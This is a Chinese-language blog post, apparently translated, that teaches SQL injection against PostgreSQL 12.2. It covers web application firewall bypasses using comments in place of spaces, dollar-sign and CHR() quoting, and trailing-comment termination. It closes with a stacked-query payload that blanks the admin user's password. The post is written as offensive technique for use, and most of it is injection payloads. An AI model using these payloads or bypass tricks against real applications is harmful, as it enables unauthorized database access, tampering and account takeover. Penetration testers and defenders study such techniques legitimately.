SQL注入渗透PostgreSQL(bypass tricks)

我们将研究Web应用程序防火墙的绕过方法,以及在不同的查询子句中泄漏数据的方法,例如SELECT,WHERE,ORDER BY,FROM等。

简要概述一下,PostgreSQL是:

[…] a free and open-source relational database management system emphasizing extensibility and technical standards compliance. It is designed to handle a range of workloads, from single machines to data warehouses or Web services with many concurrent users. - Wikipedia

免责声明:所有这些绕过和技术点试均已在PostgreSQL版本12.2和仅12.2上进行了测试

绕过方法

由于DBMS大部分都使用通用语言(SQL),因此基本功能和语法实际上是通用的。这意味着在DBMS上的绕过技巧可能会应用在不同的数据库中。例如,当SQL注入中的空格被waf时,您可以改用注释,例如:

查询: SELECT 1; 绕过: SELECT/**/1;

上面的示例在MySQL和PostgreSQL(本文围绕的DBMS数据库类型)中正常使用。

绕过分隔符

如上所示: /**/ == " " (不带引号,空格)

注入点后绕过多余的尾随数据

; -- - 告诉查询忽略所有尾随数据,例如: SELECT 'admin' OR 1 = 1; -- -' FROM users;将变成 SELECT 'admin' OR 1 = 1;

绕过引号的限制(*)

使用 $ 符号: SELECT $$test$$; 与 SELECT 'test';

如果连续的美元符号被阻止( $$ ),那么您也可以在postgreSQL中使用标签,方法是将标签名称放在 $ 符号之间: SELECT $quote$test$quote$; 与 SELECT 'test';

同时我们也可以在字符串拼接的时候采取CHR()函数:

SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72); 等效于 SELECT 'ABCDEFGH';

注意:您不能同时使用 ' 和 $$ $quote$ ,因此,如果您需要转义以单引号开头的字符串,则将无法使用 $$ (即这种语句是无效的SELECT 'test$$;)

嵌套查询

PS.类似堆叠查询

有时,您很幸运得发现您的SQL注入点支持嵌套查询。这使您可以完全控制数据库执行什么操作(只要没有某种Web应用程序防火墙或过滤器)。

嵌套查询可以终止易受SQL注入攻击的查询,然后启动一个全新的查询(支持任何类型)。

例如: SELECT [INJECTION POINT] FROM users; 然后可以变成: SELECT ''; UPDATE users SET password = '' WHERE name = 'admin'; -- -' FROM users; 数据库会将其理解为:

SELECT ''; UPDATE users SET password = '' WHERE name = 'admin'; 这将会把用户表中管理员的密码设置为空且不会有任何的回显(请注意,如果应用程序之前对密码进行了哈希处理,则将管理员密码设置为空白将其插入数据库后,您将无法登录)

最终有效载荷为: '; UPDATE users SET password = '' WHERE name = 'admin'; -- -

为了深入分析

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值